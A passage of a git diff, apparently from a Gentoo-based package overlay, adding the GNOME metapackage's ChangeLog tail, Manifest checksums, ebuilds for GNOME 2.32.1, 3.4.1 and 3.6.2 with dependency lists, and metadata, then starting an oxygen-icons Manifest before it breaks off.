install bug + +*gnome-2.0.0_beta5-r20 (11 jun 2002) + 11 Jun 2002 ;Spider gnome-2.0.0_beta5-r20.ebuild : + whopps, even more packages updated. + nautilus eel gail libzvt libgnome libgnomecanvas libgnomeui at-spi gnome-utils gnome-applets libgtop gnome-system-monitor and moooore + +*gnome-2.0.0_beta5-r19 (10 Jun 2002) + 10 Jun 2002; Spider gnome-2.0.0_beta5-r19.ebuild : + gnome-panel, gnome-desktop, gnome-session + + +*gnome-2.0.0_beta5-r18 (08 Jun 2002) + 8 Jun 2002; Spider gnome-2.0.0_beta5-r18.ebuild : + gdm 2.4.0.0 + +*gnome-2.0.0_beta5-r17 (07 Jun 2002) + 7 Jun 2002; Gabriele Giorgetti gnome-2.0.0_beta5-r17.ebuild : + libgnomecanvas-2.0.0 libgnomeui-2.0.0 + + +*gnome-2.0.0_beta5-r16 (07 Jun 2002) + 7 Jun 2002; Spider gnome-2.0.0_beta5-r16.ebuild : + added libwnck, libglade-2.0.0 and the new libgnome-2.0.0 :) + + +*gnome-2.0.0_beta5-r15 (06 Jun 2002) + 6 Jun 2002; Spider gnome-2.0.0_beta5-r15.ebuild : + lets see how many new packages we can do in a day? x2 + +*gnome-2.0.0_beta5-r14 (06 Jun 2002) + 6 Jun 2002; Spider gnome-2.0.0_beta5-r14.ebuild : + lets see how many new packages we can do in a day? + + +*gnome-2.0.0-beta5-r13 (5 Jun 2002) + 5 Jun 2002; Gabriele Giorgetti gnome-2.0.0-beta5-r13.ebuild: + new versions ( too many to list ). + +*gnome-2.0.0-beta5-r12 (1 Jun 2002) + 1 Jun 2002; Spider gnome-2.0.0-beta5-r12.ebuild : + libonobo libonoboui bonobo-activation and scrollkeeper updates + +*gnome-2.0.0-beta5-r11 (31 May 2002) + 31 May 2002; Spider gnome-2.0.0-beta5-r11.ebuild : + new gedit version + +*gnome-2.0.0-beta5-r10 (30 May 2002) + 30 May 2002; Spider gnome-2.0.0-beta5-r10.ebuild ChangeLog : + Updating ChangeLog (last revision ;) + new yelp version. soon I'll be able to update theese things in my sleep + +*gnome-2.0.0-beta5-r9 (30 May 2002) + + 30 May 2002; Bruce A. Locke gnome-2.0.0-beta5-r9.ebuild: + + Bump libzvt version to fix color issues + +*gnome-2.0.0-beta5-r8 (29 May 2002) + 29 May 2002; Spider gnome-2.0.0-beta5-r8.ebuild: + Some recent updates to add gdm, fix gdm and update gdm the last few + releases. seems I forgot to save my changelog, sorry. + +*gnome-2.0.0-beta5-r5 (28 May 2002) + 28 May 2002; Spider gnome-2.0.0-beta5-r6.ebuild: + gnome games + fix for libglade that bumped version propagates into gnome-terminal + +*gnome-2.0.0-beta5-r5 (28 May 2002) + 28 May 2002; Spider gnome-2.0.0-beta5-r5.ebuild: + lots of new versions : + gtk+ pango atk glib libgnome* libbonobo nautilus eel gnome-session +gnome-panel gnome-applets gnome-utils libgtkhtml yelp gedit + + +*gnome-2.0.0-beta5-r4 (27 May 2002) + 27 May 2002; Spider gnome-2.0.0-beta5-r4.ebuild: + gnome-vfs, sawfish, rep-gtk and librep are upgraded + reflected the ebuild for the gnome-vfs only, since sawfish still + doesn't build. *sigh* + removing old versions + +*gnome-2.0.0_beta5-r3 (25 May 2002) + 25 May 2002; Karl Trygve Kalleberg gnome-2.0.0_beta5-r3.ebuild files/digest-gnome-2.0.0_beta5-r3: + The glib ebuild was fixed. + Removed gnome-2.0.0_beta5-r2.ebuild files/digest-gnome-2.0.0_beta5-r2 + +*gnome-2.0.0-beta5-r2 (23 May 2002) + 23 May 2002; Spider gnome-2.0.0-beta5-r2.ebuild: + Metacity was upgraded + +*gnome-2.0.0-beta5-r1 (23 May 2002) + 22 May 2002; Spider gnome-2.0.0-beta5-r1.ebuild: + Seems a lot of new programs were released yesterday + +*gnome-2.0.0-beta5 (22 May 2002) + 22 May 2002; Spider gnome-2.0.0-beta5.ebuild: + the Gnome2 desktop dependency build + + +*gnome-1.4-r3 (1 Feb 2002) + 29 Aug 2002; Spider gnome-1.4-r3.ebuild : + update dependencies to require old versions of gnome things. + + 1 Feb 2002; G.Bevin ChangeLog : + + Added initial ChangeLog which should be updated whenever the package is + updated in any way. This changelog is targetted to users. This means that the + comments should well explained and written in clean English. The details about + writing correct changelogs are explained in the skel.ChangeLog file which you + can find in the root directory of the portage repository. diff --git a/gnome-base/gnome/Manifest b/gnome-base/gnome/Manifest new file mode 100644 index 00000000..2fd19eeb --- /dev/null +++ b/gnome-base/gnome/Manifest @@ -0,0 +1,6 @@ +EBUILD gnome-2.32.1-r2.ebuild 5633 SHA256 4b5202857c5f7cc555e182156f58ab0a8ed0111039256e0137025628d84c0ba6 SHA512 baa186194733bfd2b548cab6be853a6208642410ad109b1489a5397e74ff7d81cd3a4642cb6674aecb0c4f0edf4c410a1fa60b1852b329b61224935348d1e7c6 WHIRLPOOL 6c0f1691f3ba29487fb4fd9d1d1f89f08b59bfd7f79363a32d8086d81edc3d9e9b8c24a5f6a9421e67dd192f667fb8fa61ad077d7d8e16333a032a643cff497f +EBUILD gnome-3.4.1.ebuild 3286 SHA256 a22b2780e2af6012b002ac2344cddcdb5c8204ac2da8be6d56d16020eb7436ec SHA512 b318deaa04eadcc41d3f041b11a56d51bbcf26efcd89836457bfa158a77d62686631efe884ede1553d8e84407f8508dfb621671685ce9f0eed92766ff20841c1 WHIRLPOOL 21c1d95ce4494349fe3b9444b3722fe2bed6ee1b257869262cd3d148beb88c534adac1f3169e32d595b510d6cf7940fa650cf5f64dfd94889a6a96a8f0577c12 +EBUILD gnome-3.6.2-r1.ebuild 2688 SHA256 adf2c581c5696df06ff6a9e5842864374620f5d20bedcdb680db3cf498d3fbcb SHA512 95757e30ebd747049c8e731c6982fe87258d3c3e34c63e22530aa9a4074ac78885599b123e6d459878588e6335ab87a824bdb1c8c868e4c81de69b8d1e962db9 WHIRLPOOL 94f941b1671dbce9d73b1f4f4a65232e9c4a9aad8795e35ab0b66f3d160e439343950ac27089fc258000c869730e2840a18cd855c7659fc45fee45dbddd9028c +EBUILD gnome-3.6.2.ebuild 2614 SHA256 bf3a396af05b9355cfe7eea098f96e0015de9d9c31d081a50dba2476595bfcbb SHA512 9bf1fd64b8dbfa7b3d81ff0a35cfca5cbc12ff2ee7c3cce32b5efa57ba1271e40e60f5c07f6f65f4db9a108e39852a370d53ec4d7bbb61b57276ee687276bbb0 WHIRLPOOL efbf52179dbc7d6bedac95e0356f5816310a239ee5a4652815b453c6ec34386a57f9f1a5db9a278a36c8d8df8b6d548fada0e324e30c5e9f3bde3c7cc2d94203 +MISC ChangeLog 60760 SHA256 57da818b1ea15eb3c761f5b0e0b15c781b53c518837259867a64e5a0cccedfef SHA512 be5306cbb7f7b5300bf41b64f17e9469b3c88a6873fa55539cc7059021d451613ee5ee1c2baf4f15583cead46e2b77fd46ca8c9478340857bceb237e25e05e9b WHIRLPOOL 037192615e61f23ed66542cdcf556c4e6d8db200b3abeb7a488a3812049f7b3b2c82135623e8c169cdaf4f2c74d586863af0b9a16e498189af33e074699dd2fc +MISC metadata.xml 376 SHA256 207bb8410f0620f37bc86f90175a0c4144e36a3eb9c3d79e41212c9cc32f24df SHA512 066d9fafe04c0311d89c20adf64a6010ff5a1df26ed64cb9ed3f71456283e1153b941caadd8085515d044d7eca09052617f24846757f5c9aa34f0e826a8ce3b4 WHIRLPOOL f58cbf9bae54931bc3fa3fed3242c085c70a0b6e9f4d043955705575223206e89ea2007bdca698a1a21afc897666362df53f59a2b7cb2265a30753081e854cde diff --git a/gnome-base/gnome/gnome-2.32.1-r2.ebuild b/gnome-base/gnome/gnome-2.32.1-r2.ebuild new file mode 100644 index 00000000..559cec44 --- /dev/null +++ b/gnome-base/gnome/gnome-2.32.1-r2.ebuild @@ -0,0 +1,192 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/gnome-base/gnome/gnome-2.32.1-r2.ebuild,v 1.9 2012/11/05 21:30:07 ulm Exp $ + +EAPI="4" + +DESCRIPTION="Meta package for the GNOME desktop" +HOMEPAGE="http://www.gnome.org/" + +LICENSE="metapackage" +SLOT="2.0" + +# when unmasking for an arch +# double check none of the deps are still masked ! +KEYWORDS="alpha amd64 ia64 ppc ppc64 sparc x86" + +IUSE="accessibility cdr cups dvdr ldap mono policykit" + +S=${WORKDIR} + +# FIXME: bump gstreamer to 0.10.26 +# XXX: lower gdm to 2.20 since we still keep 2.28 masked +# Lower epiphany to 2.26 since 2.28 is not ready to go stable +RDEPEND="!=dev-libs/glib-2.26.1:2 + >=x11-libs/gtk+-2.22.1-r1:2 + >=x11-libs/gdk-pixbuf-2.22.1:2 + >=dev-libs/atk-1.32.0 + >=x11-libs/pango-1.28.3 + + >=dev-libs/libxml2-2.7.2:2 + >=dev-libs/libxslt-1.1.22 + + >=media-libs/audiofile-0.2.7 + >=x11-libs/libxklavier-5.0 + >=media-libs/libart_lgpl-2.3.21 + + >=dev-libs/libIDL-0.8.14 + >=gnome-base/orbit-2.14.19:2 + + >=x11-libs/libwnck-2.30.6:1 + >=x11-wm/metacity-2.30.3 + + >=gnome-base/gnome-keyring-2.32.1 + >=gnome-base/libgnome-keyring-2.32.0 + >=app-crypt/seahorse-2.32.0 + + >=gnome-base/gconf-2.32.0-r1:2 + >=net-libs/libsoup-2.32.1:2.4 + >=gnome-base/dconf-0.5.1-r2 + + >=gnome-base/libbonobo-2.24.3 + >=gnome-base/libbonoboui-2.24.4 + >=gnome-base/libgnome-2.32.0 + >=gnome-base/libgnomecanvas-2.30.2 + >=gnome-base/libglade-2.6.4:2.0 + + >=gnome-extra/bug-buddy-2.32.0:2 + >=gnome-base/libgnomekbd-2.32.0 + >=gnome-base/gnome-settings-daemon-2.32.1 + >=gnome-base/gnome-control-center-2.32.0:2 + + >=gnome-base/nautilus-2.32.1 + + >=media-libs/gstreamer-0.10.30.2:0.10 + >=media-libs/gst-plugins-base-0.10.30.4:0.10 + >=media-libs/gst-plugins-good-0.10.23:0.10 + >=gnome-extra/gnome-media-2.32.0:2 + =media-sound/sound-juicer-2.32.0 + >=dev-libs/totem-pl-parser-2.32.1 + >=media-video/totem-2.32.0 + >=media-video/cheese-2.32.0 + + >=media-gfx/eog-2.32.1:1 + + >=www-client/epiphany-2.30.6 + >=app-arch/file-roller-2.32.1 + >=gnome-extra/gcalctool-5.32.1 + + >=gnome-extra/gconf-editor-2.32.0 + >=gnome-base/gdm-2.20.11 + >=x11-libs/gtksourceview-2.10.5:2.0 + >=app-editors/gedit-2.30.4 + + >=app-text/evince-2.32.0 + + >=gnome-base/gnome-desktop-2.32.1:2 + >=gnome-base/gnome-session-2.32.1 + >=dev-libs/libgweather-2.30.3:2 + =gnome-base/gnome-applets-2.32.0 + >=gnome-base/gnome-panel-2.32.1 + >=gnome-base/gnome-menus-2.30.5 + >=x11-themes/gnome-icon-theme-2.31.0 + >=x11-themes/gnome-themes-2.32.1-r1 + >=x11-themes/gnome-themes-standard-3.0.2 + >=gnome-extra/deskbar-applet-2.32.0 + >=gnome-extra/hamster-applet-2.32.1 + + >=x11-themes/gtk-engines-2.20.2:2 + >=x11-themes/gnome-backgrounds-2.32.0 + + >=x11-libs/vte-0.26.2:0 + >=x11-terms/gnome-terminal-2.32.1 + + >=gnome-extra/gucharmap-2.32.1 + + >=gnome-extra/gnome-utils-2.32.0 + + >=gnome-extra/gnome-games-2.28.2 + >=gnome-base/librsvg-2.32.1:2 + + >=gnome-extra/gnome-system-monitor-2.28.2 + >=gnome-base/libgtop-2.28.2:2 + + >=x11-libs/startup-notification-0.10 + + >=gnome-extra/gnome-user-docs-2.32.0 + >=gnome-extra/yelp-2.30.2 + >=gnome-extra/zenity-2.32.1 + + >=net-analyzer/gnome-netstatus-2.28.2 + >=net-analyzer/gnome-nettool-2.32.0 + + cdr? ( >=app-cdr/brasero-2.32.1 ) + dvdr? ( >=app-cdr/brasero-2.32.1 ) + + >=gnome-extra/gtkhtml-3.32.1:3.14 + >=mail-client/evolution-2.32.1-r1:2.0 + >=gnome-extra/evolution-data-server-2.32.1-r1 + >=gnome-extra/evolution-webcal-2.32.0 + + >=net-misc/vino-2.32.0 + + >=app-admin/pessulus-2.30.4 + ldap? ( >=app-admin/sabayon-2.30.1 ) + + >=gnome-extra/gnome-screensaver-2.30.2 + >=x11-misc/alacarte-0.13.2 + >=gnome-extra/gnome-power-manager-2.32.0 + + >=net-misc/vinagre-2.30.3 + >=gnome-extra/swfdec-gnome-2.30.1 + + accessibility? ( + >=gnome-extra/libgail-gnome-1.20.3 + >=gnome-extra/at-spi-1.32.0:1 + >=app-accessibility/dasher-4.11 + >=app-accessibility/gnome-mag-0.16.3:1 + >=app-accessibility/gnome-speech-0.4.25:1 + >=app-accessibility/gok-2.30.1:1 + >=app-accessibility/orca-2.32.1 + >=gnome-extra/mousetweaks-2.32.1 ) + cups? ( >=app-admin/system-config-printer-gnome-1.3.3 ) + + mono? ( + >=dev-dotnet/gtk-sharp-2.12.10:2 + >=app-misc/tomboy-1.4.2 ) + policykit? ( gnome-extra/polkit-gnome )" +DEPEND="" +PDEPEND="|| ( >=gnome-base/gvfs-1.6.6[gdu] >=gnome-base/gvfs-1.6.6[udisks] )" +# Broken from assumptions of gnome-vfs headers being included in nautilus headers, +# which isn't the case with nautilus-2.22, bug #216019 +# >=app-admin/gnome-system-tools-2.32.0 +# >=app-admin/system-tools-backends-2.8 + +# Development tools +# scrollkeeper +# pkgconfig +# intltool +# gtk-doc +# gnome-doc-utils + +pkg_postinst() { +# FIXME: Rephrase to teach about using different WMs instead, as metacity is the default anyway +# FIXME: but first check WINDOW_MANAGER is still honored in 2.24. gnome-session-2.24 might have lost +# FIXME: support for it, but we don't ship with gnome-session-2.24 yet +# elog "Note that to change windowmanager to metacity do: " +# elog " export WINDOW_MANAGER=\"/usr/bin/metacity\"" +# elog "of course this works for all other window managers as well" + + elog "The main file alteration monitoring functionality is" + elog "provided by >=glib-2.16. Note that on a modern Linux system" + elog "you do not need the USE=fam flag on it if you have inotify" + elog "support in your linux kernel ( >=2.6.13 ) enabled." + elog "USE=fam on glib is however useful for other situations," + elog "such as Gentoo/FreeBSD systems. A global USE=fam can also" + elog "be useful for other packages that do not use the new file" + elog "monitoring API yet that the new glib provides." + elog +} diff --git a/gnome-base/gnome/gnome-3.4.1.ebuild b/gnome-base/gnome/gnome-3.4.1.ebuild new file mode 100644 index 00000000..65e00a6a --- /dev/null +++ b/gnome-base/gnome/gnome-3.4.1.ebuild @@ -0,0 +1,105 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/gnome-base/gnome/gnome-3.4.1.ebuild,v 1.3 2012/11/05 21:30:07 ulm Exp $ + +EAPI="4" + +DESCRIPTION="Meta package for GNOME 3, merge this package to install" +HOMEPAGE="http://www.gnome.org/" + +LICENSE="metapackage" +SLOT="2.0" # Cannot be installed at the same time as gnome-2 + +# when unmasking for an arch +# double check none of the deps are still masked ! +KEYWORDS="~amd64 ~x86" + +IUSE="accessibility +bluetooth +cdr cups +extras +fallback" + +S=${WORKDIR} + +# TODO: check accessibility completeness +# GDM-3.0 integrates very nicely with GNOME Shell +RDEPEND=" + >=gnome-base/gnome-core-libs-${PV}[cups?] + >=gnome-base/gnome-core-apps-${PV}[cups?,bluetooth?,cdr?] + + >=gnome-base/gdm-${PV} + + >=x11-wm/mutter-${PV} + >=gnome-base/gnome-shell-${PV}[bluetooth?] + + >=x11-themes/gnome-backgrounds-${PV} + >=x11-themes/gnome-icon-theme-extras-3.4 + x11-themes/sound-theme-freedesktop + + accessibility? ( + >=app-accessibility/at-spi2-atk-2.4 + >=app-accessibility/at-spi2-core-2.4.1 + >=app-accessibility/caribou-0.4.2 + >=app-accessibility/orca-${PV} + >=gnome-extra/mousetweaks-${PV} ) + extras? ( >=gnome-base/gnome-extra-apps-${PV} ) + fallback? ( + >=gnome-base/gnome-applets-${PV} + >=gnome-base/gnome-fallback-${PV} )" +DEPEND="" +PDEPEND="|| ( >=gnome-base/gvfs-1.12.1[udisks] >=gnome-base/gvfs-1.12.1[gdu] )" +# Broken from assumptions of gnome-vfs headers being included in nautilus headers, +# which isn't the case with nautilus-2.22, bug #216019 +# >=app-admin/gnome-system-tools-2.32.0 +# >=app-admin/system-tools-backends-2.8 + +# gnome-cups-manager isn't needed, printing support is in gnome-control-center + +# Not ported: +# bug-buddy-2.32 +# sound-juicer-2.32 +# +# Not ported, don't build: +# gnome-extra/evolution-webcal-2.32.0 + +# These don't work with gsettings/dconf +# >=app-admin/pessulus-2.30.4 +# ldap? ( >=app-admin/sabayon-2.30.1 ) + +# I'm not sure what all is in a11y for GNOME 3 yet ~nirbheek +# accessibility? ( +# >=gnome-extra/libgail-gnome-1.20.3 +# >=gnome-extra/at-spi-1.32.0:1 +# >=app-accessibility/dasher-4.11 +# >=app-accessibility/gnome-mag-0.16.3:1 +# >=app-accessibility/gnome-speech-0.4.25:1 +# >=app-accessibility/gok-2.30.1:1 +# >=app-accessibility/orca-2.32.1 +# >=gnome-extra/mousetweaks-2.32.1 ) + +# Useless with GNOME Shell +# >=gnome-extra/deskbar-applet-2.32.0 +# >=gnome-extra/hamster-applet-2.32.1 + +# Development tools +# scrollkeeper +# pkgconfig +# intltool +# gtk-doc +# gnome-doc-utils +# itstool +# yelp-tools + +#pkg_postinst() { +# gnome-wm is gone, session files are now used by gnome-session to decide which +# windowmanager etc to use. Need to document this +# +# FIXME: Is this still relevant? +# +# elog "The main file alteration monitoring functionality is" +# elog "provided by >=glib-2.16. Note that on a modern Linux system" +# elog "you do not need the USE=fam flag on it if you have inotify" +# elog "support in your linux kernel ( >=2.6.13 ) enabled." +# elog "USE=fam on glib is however useful for other situations," +# elog "such as Gentoo/FreeBSD systems. A global USE=fam can also" +# elog "be useful for other packages that do not use the new file" +# elog "monitoring API yet that the new glib provides." +# elog +#} diff --git a/gnome-base/gnome/gnome-3.6.2-r1.ebuild b/gnome-base/gnome/gnome-3.6.2-r1.ebuild new file mode 100644 index 00000000..310c2d1a --- /dev/null +++ b/gnome-base/gnome/gnome-3.6.2-r1.ebuild @@ -0,0 +1,88 @@ +# Copyright 1999-2013 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/gnome-base/gnome/gnome-3.6.2.ebuild,v 1.7 2013/01/06 09:34:33 ago Exp $ + +EAPI="4" + +DESCRIPTION="Meta package for GNOME 3, merge this package to install" +HOMEPAGE="http://www.gnome.org/" + +LICENSE="metapackage" +SLOT="2.0" # Cannot be installed at the same time as gnome-2 + +# when unmasking for an arch +# double check none of the deps are still masked ! +KEYWORDS="~alpha ~amd64 ~ia64 ~ppc ~ppc64 ~sparc ~x86" + +IUSE="accessibility +bluetooth +cdr cups +extras +fallback gnome-core-apps gnome-core-libs" + +S=${WORKDIR} + +# TODO: check accessibility completeness +# GDM-3.0 integrates very nicely with GNOME Shell +RDEPEND=" + gnome-core-libs? ( >=gnome-base/gnome-core-libs-${PV}[cups?] ) + gnome-core-apps? ( >=gnome-base/gnome-core-apps-${PV}[cups?,bluetooth?,cdr?] ) + + >=gnome-base/gdm-${PV} + + >=x11-wm/mutter-${PV} + >=gnome-base/gnome-shell-${PV}[bluetooth?] + + >=x11-themes/gnome-backgrounds-3.6.1 + >=x11-themes/gnome-icon-theme-extras-3.6.2 + x11-themes/sound-theme-freedesktop + + accessibility? ( + >=app-accessibility/at-spi2-atk-2.6.2 + >=app-accessibility/at-spi2-core-2.6.2 + >=app-accessibility/caribou-0.4.4.2 + >=app-accessibility/orca-${PV} + >=gnome-extra/mousetweaks-3.6.0 ) + extras? ( >=gnome-base/gnome-extra-apps-${PV} ) + fallback? ( + >=gnome-base/gnome-applets-3.6.0 + >=gnome-base/gnome-fallback-${PV} )" +DEPEND="" +PDEPEND="|| ( >=gnome-base/gvfs-1.12.1[udisks] >=gnome-base/gvfs-1.12.1[gdu] )" +# Broken from assumptions of gnome-vfs headers being included in nautilus headers, +# which isn't the case with nautilus-2.22, bug #216019 +# >=app-admin/gnome-system-tools-2.32.0 +# >=app-admin/system-tools-backends-2.8 + +# gnome-cups-manager isn't needed, printing support is in gnome-control-center + +# Not ported: +# bug-buddy-2.32 +# sound-juicer-2.32 +# +# Not ported, don't build: +# gnome-extra/evolution-webcal-2.32.0 + +# These don't work with gsettings/dconf +# >=app-admin/pessulus-2.30.4 +# ldap? ( >=app-admin/sabayon-2.30.1 ) + +# I'm not sure what all is in a11y for GNOME 3 yet ~nirbheek +# accessibility? ( +# >=gnome-extra/libgail-gnome-1.20.3 +# >=gnome-extra/at-spi-1.32.0:1 +# >=app-accessibility/dasher-4.11 +# >=app-accessibility/gnome-mag-0.16.3:1 +# >=app-accessibility/gnome-speech-0.4.25:1 +# >=app-accessibility/gok-2.30.1:1 +# >=app-accessibility/orca-2.32.1 +# >=gnome-extra/mousetweaks-2.32.1 ) + +# Useless with GNOME Shell +# >=gnome-extra/deskbar-applet-2.32.0 +# >=gnome-extra/hamster-applet-2.32.1 + +# Development tools +# scrollkeeper +# pkgconfig +# intltool +# gtk-doc +# gnome-doc-utils +# itstool +# yelp-tools diff --git a/gnome-base/gnome/gnome-3.6.2.ebuild b/gnome-base/gnome/gnome-3.6.2.ebuild new file mode 100644 index 00000000..310c2d1a --- /dev/null +++ b/gnome-base/gnome/gnome-3.6.2.ebuild @@ -0,0 +1,88 @@ +# Copyright 1999-2013 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/gnome-base/gnome/gnome-3.6.2.ebuild,v 1.7 2013/01/06 09:34:33 ago Exp $ + +EAPI="4" + +DESCRIPTION="Meta package for GNOME 3, merge this package to install" +HOMEPAGE="http://www.gnome.org/" + +LICENSE="metapackage" +SLOT="2.0" # Cannot be installed at the same time as gnome-2 + +# when unmasking for an arch +# double check none of the deps are still masked ! +KEYWORDS="~alpha ~amd64 ~ia64 ~ppc ~ppc64 ~sparc ~x86" + +IUSE="accessibility +bluetooth +cdr cups +extras +fallback gnome-core-apps gnome-core-libs" + +S=${WORKDIR} + +# TODO: check accessibility completeness +# GDM-3.0 integrates very nicely with GNOME Shell +RDEPEND=" + gnome-core-libs? ( >=gnome-base/gnome-core-libs-${PV}[cups?] ) + gnome-core-apps? ( >=gnome-base/gnome-core-apps-${PV}[cups?,bluetooth?,cdr?] ) + + >=gnome-base/gdm-${PV} + + >=x11-wm/mutter-${PV} + >=gnome-base/gnome-shell-${PV}[bluetooth?] + + >=x11-themes/gnome-backgrounds-3.6.1 + >=x11-themes/gnome-icon-theme-extras-3.6.2 + x11-themes/sound-theme-freedesktop + + accessibility? ( + >=app-accessibility/at-spi2-atk-2.6.2 + >=app-accessibility/at-spi2-core-2.6.2 + >=app-accessibility/caribou-0.4.4.2 + >=app-accessibility/orca-${PV} + >=gnome-extra/mousetweaks-3.6.0 ) + extras? ( >=gnome-base/gnome-extra-apps-${PV} ) + fallback? ( + >=gnome-base/gnome-applets-3.6.0 + >=gnome-base/gnome-fallback-${PV} )" +DEPEND="" +PDEPEND="|| ( >=gnome-base/gvfs-1.12.1[udisks] >=gnome-base/gvfs-1.12.1[gdu] )" +# Broken from assumptions of gnome-vfs headers being included in nautilus headers, +# which isn't the case with nautilus-2.22, bug #216019 +# >=app-admin/gnome-system-tools-2.32.0 +# >=app-admin/system-tools-backends-2.8 + +# gnome-cups-manager isn't needed, printing support is in gnome-control-center + +# Not ported: +# bug-buddy-2.32 +# sound-juicer-2.32 +# +# Not ported, don't build: +# gnome-extra/evolution-webcal-2.32.0 + +# These don't work with gsettings/dconf +# >=app-admin/pessulus-2.30.4 +# ldap? ( >=app-admin/sabayon-2.30.1 ) + +# I'm not sure what all is in a11y for GNOME 3 yet ~nirbheek +# accessibility? ( +# >=gnome-extra/libgail-gnome-1.20.3 +# >=gnome-extra/at-spi-1.32.0:1 +# >=app-accessibility/dasher-4.11 +# >=app-accessibility/gnome-mag-0.16.3:1 +# >=app-accessibility/gnome-speech-0.4.25:1 +# >=app-accessibility/gok-2.30.1:1 +# >=app-accessibility/orca-2.32.1 +# >=gnome-extra/mousetweaks-2.32.1 ) + +# Useless with GNOME Shell +# >=gnome-extra/deskbar-applet-2.32.0 +# >=gnome-extra/hamster-applet-2.32.1 + +# Development tools +# scrollkeeper +# pkgconfig +# intltool +# gtk-doc +# gnome-doc-utils +# itstool +# yelp-tools diff --git a/gnome-base/gnome/metadata.xml b/gnome-base/gnome/metadata.xml new file mode 100644 index 00000000..39a001df --- /dev/null +++ b/gnome-base/gnome/metadata.xml @@ -0,0 +1,10 @@ + + + +gnome + + Install additional GNOME applications + Install gnome-base/gnome-panel and + x11-wm/metacity for the GNOME 3 fallback mode + + diff --git a/kde-base/oxygen-icons/Manifest b/kde-base/oxygen-icons/Manifest new file mode 100644 index 00000000..3e8bc6f2 --- /dev/null +++ b/kde-base/oxygen-icons/Manifest @@ -0,0 +1,9 @@ +DIST fdo-icons-rogentos1.tar.gz 507041 SHA256 5ff12b6861abd002e95777a43fb71afb56024ba4684e0a212a990ad8aa1a428d SHA512 3b95d5116984ef802d4ad12cba856096f5f481216a42fe09334929d338179a7d55a15754aa8e20dca08c6fdb19ad096e96d24b9e7dd5198b0d93eb379f3e3d3d WHIRLPOOL a66b53dcb3888c5896da05a5abaf8f0295fd8b28a4ce23d0a972ea5705dad89d2c14d48eddafe5b7ea291934ba217f8fee1b0f1d4ed7f6b77579cb96dfddc98b +DIST oxygen-icons-4.9.0.repacked.tar.xz 29205792 SHA256 ed2b1045fe772bef2682c7cbdb6f9053e93f5e94207fb9e1dc3e55accedd3120 SHA512 7feb0f705978dd1714d370ef8e04c30770305c7a76fe8dedefec4d4bbd50b71ffa9af97059f90fc9e8786e199f61e85c0cac64cad3bd7603fe8ac2144c59b4cf WHIRLPOOL d291956233fdeae924ecf9fd5d6aeea102ebe5d01ebc800548f514c565e8134f055a4649a0eaa66b13cea11b43860c5693dfe3c8447596cb4a5714aa5317888a +DIST oxygen-icons-4.9.0.tar.xz 278552072 SHA256 0d6fc5be39160fc5a0421f9bf6fecf736e054196945d437777832e423bb28be8 SHA512 2ff4a74e664f7b4e26da50d324f61cb989a3d248281e8f37afa06b633820f4fe39e7c799f60075a039a8aa25ce74e422bc68ad401e09f52ba54047d6c88c17e3 WHIRLPOOL 56ebb7522f278c21355a9b4e6a637fc61fb65425874fb91971124a15a24f6bd57094bde2090d0b83e33e88185ce4dbcc6ebd6944ffe6139a7aee397b375337cd +EBUILD oxygen-icons-4.10.4.ebuild 1107 SHA256 73384d84bdcfd8ce546480b89aea256c8ef821d88a41a7612e833d6d973e8d40 SHA512 175ace4efd32466957c38603230d72e8d1f11fe3d5810e3060be31ead7d7e32ca22dc7372ddcbc6ac2c1dc620b28c00653280c7510e76a0f10ca641ddb47196c WHIRLPOOL 7d56841b069566468ac99ea23faca2d2b95631d5db083e28498eef25f260d7f3252fe9b44d79010e72403f682f2b6631ae41290128c124f2b2f0305e145cbb35 +EBUILD oxygen-icons-4.9.0.ebuild 1069 SHA256 4531d5fbc37de0f6908fb904cba088f419b186b945030e522dabc335dfc8d062 SHA512 aff38582a914321f2c7b0f05e3a95b8b0dd8cf57e973049bf18e28d81bbec1053bf9bcf428adf23a761fd8f1d5038ccdb739d2f942dd1bf10b98b1891b816e45 WHIRLPOOL d94270b98461248db752a54373c86dbfe767bcf1a98c4ea6092d28ac25a7ac2bfae0c3e4da9e716efa93abd8c96d5f72c25bd36e782a31e03b328f6e7ea2a599 +EBUILD oxygen-icons-4.9.1.ebuild 1069 SHA256 4531d5fbc37de0f6908fb904cba088f419b186b945030e522dabc335dfc8d062 SHA512 aff38582a914321f2c7b0f05e3a95b8b0dd8cf57e973049bf18e28d81bbec1053bf9bcf428adf23a761fd8f1d5038ccdb739d2f942dd1bf10b98b1891b816e45 WHIRLPOOL d94270b98461248db752a54373c86dbfe767bcf1a98c4ea6092d28ac25a7ac2bfae0c3e4da9e716efa93abd8c96d5f72c25bd36e782a31e03b328f6e7ea2a599 +EBUILD oxygen-icons-4.9.2.ebuild 1163 SHA256 400393a238664d8eb3805f289f3412ec87df470a8c1372891d10452031f80618 SHA512 e3ea7bf8e931c4e99595df0eafb4407c9089e128d63c26bf5c7265224d64adffa85b4cb60f2f88dce6e6b0bc131cdb052e1fbba773cb08df33260bcf0cc42d6a WHIRLPOOL 12e174681258193500804bbda3833763b2d1eb49163f608f55d9f09dcc1ca38d86180a456e789432cd0db090afe01e21613aa32c306c309ab75e8c229cc6c064 +EBUILD oxygen-icons-4.9.3.ebuild 1107 SHA256 73384d84bdcfd8ce546480b89aea256c8ef821d88a41a7612e833d6d973e8d40 SHA512 175ace4efd32466957c38603230d72e8d1f11fe3d5810e3060be31ead7d7e32ca22dc7372ddcbc6ac2c1dc620b28c00653280c7510e76a0f10ca641ddb47196c WHIRLPOOL 7d56841b069566468ac99ea23faca2d2b95631d5db083e28498eef25f260d7f3252fe9b44d79010e72403f682f2b6631ae41290128c124f2b2f0305e145cbb35 +MISC metadata.xml 157 SHA256 01f6fa4357ce08e8b0f7900a51fa78c7f060fefc7c7da98acaec1e283dd59892 SHA512 657d6b0a31ceb7ac10bedfd5cbd634d4ff47938bd2f321203f0233e53686f7e0fd460e81f82793804895c7e97cfa472c1ca44b93314574262ee8cc5745a3efd0 WHIRLPOOL 785331909f1834cdd5d797ad484ea0e35c3e44c79a8a7517a6fb5de926acd181abd57910c8d960fb2e11ea38ddea336bca309af16fcc2df68fe4b602bca120b3 diff --git a/kde-base/oxygen-icons/metadata.xml b/kde-base/oxygen-icons/metadata.xml new file mode 100644 index 